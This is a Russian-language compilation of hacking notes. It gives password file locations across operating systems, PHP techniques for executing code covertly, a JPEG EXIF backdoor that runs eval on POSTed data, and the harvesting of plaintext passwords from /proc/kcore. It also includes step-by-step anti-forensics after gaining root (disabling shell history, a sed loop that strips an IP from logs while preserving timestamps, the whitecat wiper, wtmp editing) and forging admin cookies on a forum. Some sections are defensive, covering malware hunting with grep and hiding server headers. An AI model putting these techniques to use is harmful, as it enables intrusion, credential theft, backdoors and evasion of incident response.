Пароли в разных ОС

  Пароли в разных ОС:

A/UX 3.0s - /tcb/files/auth/?/*
FreeBSD 4.3 - /etc/master.passwd
ConvexOS 10 - /etc/shadpw
ConvexOS 11 - /etc/shadow
DG/UX - /etc/tcb/aa/user/
HP-UX - /.secure/etc/passwd
IRIX 5 - /etc/shadow
Linux 1.1 - /etc/shadow
SunOS 4.1 - /etc/security/passwd.adjunct
SunOS 5.0 - /etc/shadow
UNICOS - /etc/udb
Win 95/98 - c:windows*.pwl
AIX 3 - /etc/security/passwd или /tcb/auth/files/первый символ логина/логин
BSD4.3-Reno - /etc/master.passwd
EP/IX - /etc/shadow
OSF/1 - /etc/passwd[.dir|.pag]
SCO Unix #.2.x - /tcb/auth/files/первый символ логина/логин
System V Release 4.0 - /etc/shadow
System V Release 4.2 - /etc/security/* database
Ultrix 4 - /etc/auth[.dir|.pag]

               Пароли в различных серверах:

Samba  - /etc/samba/smbpasswd
Apache - /usr/local/apache/pwd

                           Основные виды хэшей:

e9a7656f277ba63618e20628fefad321          - md5
14FB05A326C16B2B                          - MySQL
$l$12345678$6KdMANluuNMmoxB4v4SyQ0        - MD5 (Unix)
9ABB8717D8B02F4181274D347622C6927F82725C  - SHA-1
5m84advre2a0p                             - DES

Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах

В качестве примера вредоносного кода снова будем использовать вызов

echo 'Test'

Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.



Вариант №1: использование механизма autoload.

Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.

<?php
function __autoload($classname) {
  echo 'Test';
}

//...
new myEvilClass();

Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше

<?php
// php >= 5.3.0

class EvilClass {
    static public function evil($name) {
        echo 'Test';
    }
}

// ...

spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); 

// ...

new Malware; 

Вариант №3: использование обработчика сессии.

В момент создания сессии будет вызвана зарегистрированная функция.

<?php
function just_do_it() {
  echo 'Test';
}

// ...

$f = function() {};
session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
@session_start();

Вариант №4: использование итератора.

Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.

<?php
$f = create_function('', "echo 'Test';");

// ...

$it = new ArrayIterator(array(''));
iterator_apply($it, $f, array($it));

Вариант №5: вызов через обработчик исключений.

В этом врианте код для вызова может быть передан в качестве текста исключения.

<?php
function exception_handler($e) {
  preg_replace_callback('||', create_function('', $e->getMessage()), ''); 
}

// ...

set_exception_handler('exception_handler');

// ...

throw new Exception('echo "Test";');

Вариант №6: использование обработчика ошибок.

Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
  array_map(create_function('', $errstr), array(''));
}

// ...

set_error_handler('error_handler');
$badcode = 'echo "Test";';

trigger_error($badcode, E_USER_ERROR); // или user_error();

Вариант №7: использование собственного загрузчика сущностей.

Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.

<?php
// для php >= 5.4

$xml =<<<XML
<!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
<zlodei>bar</zlodei>
XML;

$dtd =<<<DTD
<!ELEMENT zlodei (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
    function ($public, $system, $context) use($dtd) {
       array_reduce(array(''), create_function('', $public)); 
    }
);

// ...

$dd = new DOMDocument;
$r  = $dd->loadXML($xml);
@$dd->validate();

Вариант №8: создание собственного стрима для неявного вызова кода

Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().

<?php
class MalwareStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $f = create_function('', $url["host"]);
        $f();

        return true;
    }
}

// ...

stream_wrapper_register("malw", "MalwareStream");

// ...

$fp = fopen('malw://echo "Test";', '');

В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.

Бонус трек

Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?

Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,

php_value auto_prepend_file /images/stories/mycode.jpg

будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.

Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.

В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

<?php
$a = `ls -la`; 
echo $a;

Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.

И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.

<?php
$exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

А jpg файл выглядит примерно так:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...

Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».


http://habrahabr.ru/post/215817/

Оперативная память linux

В файле можно найти пароли авторизации в открытом виде и много другой полезной информации, которая была загружена в память.
Расположение: /proc/kcore
Размер файла равен размеру RAM + SWAP

strings /proc/kcore | grep -A 50 -B 50 {username} | sort -u | uniq -u > /tmp/kdump.uniq
Странно но пароль всегда находился в пределах +-50 строк от имени пользователя

Чистим логи в Linux

Первое что нам необходимо сделать после получения рут привилегий это:

Отключить сохранение команд текущей сессии в истории Bash:

unset HISTFILE

или

export HISTFILE=/dev/null

export MYSQL_HISTFILE=/dev/null 

freebsd
setenv histfile /dev/null
setenv MYSQL_HISTFILE /dev/null

Далее после работы, нам нужно очистить логи с записями о нашем присутствии в системе. Сделать это можно двумя способами:
1. С помощью специальных утилит (Log Wiper,Log Cleaner, etc)
2. В ручную

Не помешает также подчистить .bash_history, в котором сохраняется история команд.

Далее перед отключением делаем:

kill -9 $$

kill -9 $$ - это выход из консоли без без сохранения истории, где $$ идентификатор текущего процесса консоли.

Если вы решили довериться утилитам, то можно воспользоваться одной из этих утилит:
http://packetstormsecurity.com/UNIX/penetration/log-wipers/
Наиболее популярные: vanish , whitecat

Рассмотрим whitecat. Она поддерживает FreeBSD, Linux, SOLARIS.
Последняя версия 1.1: http://forum.antichat.ru/threadnav36595-4-10.html
Пути к логам находятся в массиве APACHE_PATH[] (стр. 54, файл witecat.c). Чтобы добавить новый путь - просто добавьте строчку в массив, соблюдая запятые. Во время работы при попытке обработать несуществующий путь ошибки не вываливаются.  

Компиляция: gcc whitecat.c -o whitecat

Запуск(например хотим почистить свой ip в логах):

./whitecat -u root -a 127.0.0.1

Для ручной чистки можно использовать следующие команды:

egrep -rl "127.0.0.1" /var | while read f; do sed -e '/127.0.0.1/d' $f>1.back;touch -r $f time.tmp;mv -f 1.back $f;touch -r time.tmp $f;rm -f time.tmp;done

Если остаются пустые строчки - их тоже можно удалить:

sed '/^$/d' new

Обратите внимание, мы не используем mv, для затирания файлов, тк после этой команды не производится дальнейшая запись в логи.  После команды mv запись продолжается в переименованный файл и только по SIGHUP демон переключается на новый файл лога.

Описание системы ведения логов

В Unix программы могут вести свои собственные логи или использовать для этого демон syslogd. С помощью этого демона любые другие демоны или службы могут заносить в общие логи (файлы журналов) свою информацию. Таким образом для всех программ можно установить единый метод регистрации событий, за что и отвечает syslogd. Итак сислог-демон распределяет события по категориям и важности (приоритетам), а также в зависимости от конфигурации решает куда отправить запись о данном событии. Все настройки, отвечающие за это, хранятся в файле /etc/syslog.conf. Посмотрим на пример конфигурационного файла syslog'a, который мы взяли из Red Hat linux 9.0 установленного с дефолтными параметрами:

# Log all kernel messages to the console.
# Logging much else clutters up the screen.
#kern.* /dev/console

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none /var/log/messages

# The authpriv file has restricted access.
authpriv.* /var/log/secure

# Log all the mail messages in one place.
mail.* /var/log/maillog


# Log cron stuff
cron.* /var/log/cron

# Everybody gets emergency messages
*.emerg *

# Save news errors of level crit and higher in a special file.
uucp,news.crit /var/log/spooler

# Save boot messages also to boot.log
local7.* /var/log/boot.log

Слева пишется категория и привилегия события, а справа - файл куда это событие заносится:
катeгория.приоритет адрес_лог_файла
Звездочка, как можно легко догадаться, означает все категории или все приоритеты. Теперь немного поподробнее о категориях:

auth - сообщения о нарушении авторизации доступа;
authpriv - сообщения о привилегированном доступе;
cron - сообщения демона крон;
daemon - сообщения других демонов;
kern - сообщения ядра;
lpr - сообщения системы печати;
mail - сообщения почтовых программ;
news - сообщения новостных программ;
syslog - сообщения самого демона сислог;
security - тоже самое что и auth (не должно использоваться в новых системах);
user - сообщения программ юзеров;
uucp - сообщения UUCP;
local0-local7 - определяется для конкретной системы.

Почти понятно? Тогда рассмотрим уровни приоритетов:
emerg - системе амбец;
alert - нужно срочное вмешательство;
crit - состояние критично и представляет угрозу работе системы;
err - сообщение об ошибках;
warnity - предупреждение;
notice - состояние допустимое, но админ должен это увидеть;
info - просто информация;
debug - отладочные сообщения;
none - нет приоритета.
Таким образом, настройки файла /etc/syslog.conf определят заносить ли какое-либо конкретное сообщение в файл журнала или нет.

 Теперь посмотрим куда могут отправляться сообщения.
/путь/имя_файла - сообщения записываются в лог-файл;
/dev/console (что в нашем примере) - сообщение передается на терминал (т.е. их можно увидеть на мониторе, подключенном к данной машине);
root,user1,user2 - имена пользователей, на терминал которых будет выводиться сообщение;
* - сообщения выводятся на терминалы всех пользователй (см. пример с *.emerg);

mail.=info                   /dev/tty12

| - знак конвеера означает, что сообщение передается другой программе (например | "mail root" - сообщение передается руту по почте);
@имя_хоста - сообщения отправляются на удаленный компьютер (демону syslogd).
Последнее и есть самая опасная вещь - логи удастся почистить только если взломать второй хост.

*.*             @megalohost

Рекомендуется также заглянуть в файл /var/log/messages, где могут сохраниться системные сообщения от применения эксплойтов или других действий.

  /var/log/lastlog
lastlog — содержит записи о времени последнего входа в систему для каждого пользователя. Этот файл содержит только одну запись для каждого пользователя.

/var/log/wtmp/
wtmp — содержит записи обо всех входах в систему (и выходах из системы) по пользователям. На загруженном компьютере этот файл имеет большой размер, поскольку содержит по одной записи входа и одной – выхода из системы. Файл также содержит дополнительную системную информацию, такую как перезагрузка, выключение и изменение даты.

/var/run/utmp 
Файл utmp позволяет получать информацию о том, кто в данный момент работает в системе. Пользователей, в данное время использующих систему, может быть большое количество, поскольку не все программы используют регистрацию через utmp.

Файл /var/log/btmp записывает неправильные регистрации. 

При входе пользователя в систему открывается файл lastlog, и в нем обновляется запись о дате и времени входа. Затем открывается файл utmp, и в него записывается информация о текущем нахождении в системе. Запись о входе в систему (как правило, копия информации, добавленной в lastlog) записывается также в журнал wtmp для регистрации входа в систему.
При выходе пользователя из системы запись о нахождении в системе, внесенная в utmp, удаляется (с этого момента пользователь не зарегистрирован в системе), а в wtmp вносится дополнительная запись для регистрации того, что пользователь вышел из системы. 

Мы можем отредактировать wtmp файл вручную с помощью утилиты fwtmp.

Преобразуем двоичный файл wtmp в текстовый файл:

fwtmp < wtmp.mmdd > wtmp.new

Команда fwtmp преобразует wtmp из двоичного кода в текстовый формат.
Отредактируйте текстовый файл wtmp.new, удалив/отредактировав нужные записи
Преобразуем текстовый файл wtmp.new обратно в двоичный формат:

fwtmp -ic < wtmp.new > wtmp.mmdd

Если файл wtmp восстановить невозможно, то с помощью команды nulladm создайте пустой файл wtmp:

nulladm wtmp

Утилита wtmpfix поможет скорректировать согласованность системной даты и времени в файле wtmp, если в нем появились ошибки.

http://xaknotdie.org/defaced/3/d3_09.html 

Как найти все SUID программы на машине

Все SUID и SGID программы:
find / \( -perm -04000 -o -perm -02000 \) -exec ls -ald {} \;
Только SUID ROOT:
find /sbin \( -perm -04000 -a -user 0 \) -exec ls -ald {} \;

find / -type f -perm +6000 -exec ls -l {} \; 

Вирус на сайте. Первые действия.

1. Заглянуть в файл .htaccess — в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус.

2. Ищем недавно измененные файлы :

# find ./public_html -mtime -3d
# find ./public_html -mtime -10h 

3. Поиск кодировки base64

# find ./ -name '*.php' | xargs grep -E '[0-9a-zA-Z/]{80}'

Убьем сразу двух зайцев, объединив поиск .php и .html файлов. По умолчанию все аргументы соединены с помощью логического и (опция '-a'). Если необходимо объединить несколько аргументов логическим или — используем опцию '-o'.

# find ./ \( -name '*.php' -o -name '*.html' \)| xargs grep -E '[0-9a-zA-Z/]{80}'

4. Далее, если известно время - смотрим логи: #grep time.

Некоторые хитрецы делают так:

<?php
ob_start();
include('./exploit.jpg');
ob_end_clean();
?> 

или прячут шеллы в JPG EXIF - http://xakep.ru/post/60928/default.asp
Но они даже не подозревают, что все это находится банальным грепом.

Спрятать inject

Папка cgi-bin чаще всего находится вне каталога htdocs и потому остается без внимания. На самом деле именно она нередко становится местом для хостинга малвари. К примеру, в ней легко может оказаться файл php.ini, содержащий строчку вроде:

 auto_append_file = "/home/user/USER/
 cgi-bin/security.cgi

 #php in .htaccess

 php_value auto_append_file /путь/к/вирусу 

Таким образом к любому PHP-скрипту автоматически добавляется содержимое сценария security.cgi, в котором может быть что угодно. При этом нигде в основных файлах проекта, даже при тщательнейшем изучении, признаков малвари ты не найдешь.

История действий в ОС - Process Monitor

sysinternals.com - нам потребуется Process Monitor (procmon.exe). Это чрезвычайно удобная и полезная тулза. Мониторит активность, связанную с файловой системой, реестром, взаимодействием между процессами и по сети

Сканеры уязвимостей

http://sec4app.com/

http://sqlmap.org/

http://itsecteam.com/products/havij-advanced-sql-injection/

http://w3af.org

OWASP Joomla Vulnerability Scanner 

OWASP_DirBuster

srgn-InfoGather 

Nessus

Аудит и защита компьютерных сетей
Max patrol 

Проверка Linux-системы на наличие следов взлома

В процессе разбора истории со взломом  kernel.org было выявлено, что
атаковавшим удалось установить вредоносное ПО на Linux-машины некоторых
разработчиков, используя которое были перехвачены ключи доступа. В списке
рассылки разработчиков ядра Linux опубликована краткая инструкция по
проверке целостности системы и выявлению следов активности злоумышленников.
Суть опубликованных рекомендаций изложена ниже.

Информация о сервере

Есть немаловажный момент связанный с безопасностью сервера, а из чего следовательно и расположенных на нём сайтов… Касается он информации отдаваемой в заголовках web-сервера Apache. Рассмотрим самые интересные, а зачастую и исчерпывающе-информативные заголовки: Server и X-Powered-By.

Заголовок Server может поведать нам о сервере, операционной системе, версии PHP и даже некоторых модулях. Думаю, что пагубность такой информации объяснять не нужно, ибо совершенного софта не бывает.

Заголовок X-Powered-By может наделить нас знанием о версии PHP например. Опять нам это ненужно.

В реальности мы видим это таким:

Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with 
Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g     X-Powered-By: PHP/5.2.6

Есть несколько путей решения проблемы:

• пересборка Apache с изменённым параметром AP_SERVER_BASEPRODUCT в файле include/ap_release.h
• изменение директивы SecServerSignature при установленном mod_security
• правка заголовков при помощи mod_headers
• редактирование файлов конфигурации Apache и PHP

Мы остановимся на самом простом и универсальном варианте – редактирование файлов конфигурации Apache и PHP.

Для изменения заголовка Server, следует указать Apache, что именно там стоит выводить. Откроем на редактирование файл /etc/apache2/conf.d/security и найдём следующую строку:

ServerTokens Full

В комментариях написаны различные варианты значений, на мой взгляд достаточно указать следующее:

ServerTokens Prod

В таком случае заголовок Server будет отображать только лишь название сервера – Apache.
Рекомендуется так же установить следующие директивы:

ServerSignature Off     
TraceEnable Off

ServerSignature отвечает за отображение информации о сервере при ошибках, а TraceEnable за отключение режима TRACE, при котором возможны XSS (Cross-Site Scripting) атаки.

Чтобы избавиться от заголовка X-Powered-By, следует открыть на редактирование файл php.ini и найти в нём следующую строку:

expose_php = On

Соответственно заменить её нужно на:

expose_php = Off

После всех правок нужно перезагрузить сервер:

sudo /etc/init.d/apache2 restart

Ну вот, теперь мы стали на шаг ближе к безопасному серверу.

Если вы хотите добавить к ответу сервера какие-либо дополнительные данные, воспользуйтесь возможностями mod_headers, добавив в httpd.conf

Header set MyHeader "Hello"

Теперь в заголовке ответа от сервера вы увидите MyHeader: Hello

Алсо You can make modifications to change the web server identity in two places in the source code. One is in the include file httpd.h in Apache 1 (ap_release.h in Apache 2) where the version macros are defined: #define SERVER_BASEVENDOR "Apache Group" #define SERVER_BASEPRODUCT "Apache" #define SERVER_BASEREVISION "1.3.29" #define SERVER_BASEVERSION SERVER_BASEPRODUCT "/" SERVER_BASEREVISION #define SERVER_PRODUCT SERVER_BASEPRODUCT #define SERVER_REVISION SERVER_BASEREVISION #define SERVER_VERSION SERVER_PRODUCT "/" SERVER_REVISION  

Узнать версию PHP

1. Можно посмотреть на заголовки, которые возвращает Web сервер.
(один из вариантов: http:// uptime.netcraft.com/up/graph?site=www.target.com)
2. Можно сделать такой запрос:
http:// target.com/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
и посмотреть что вернет сервер. Если в конфиграции PHP указана опция expose_php=on, то ты узнаешь версию PHP.
3. Можно посмотреть, какой ответ возвращает сервер при некорректном запросе.
4. По картинке http:// target.com/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42

cookies и админ

Регистрируемся на взламываемом форуме как обычный юзер, при этом на нашем компе создаются файлы cookies. Они нужны чтобы упростить нашу авторизацию, если мы снова зайдём на тот форум. В cookies’ах содержится хэш пароля (в данном случаю юзерского), его id и некоторая другая инфа. Думаю ты уже понял к чему я клоню… Правильно. Мы отредактируем кукисы. Как? Очень просто! Прогой CookieEditor**. Запускаем, ищем по адресу интересуемый форум и заменяем свой id на 1 (если тебя интересует админ), а свой хэш на хэш, который выдал на сплойт. Сохраняем cookies и снова заходим на форум. А теперь найди 10 отличий по сравнению с прошлым визитом.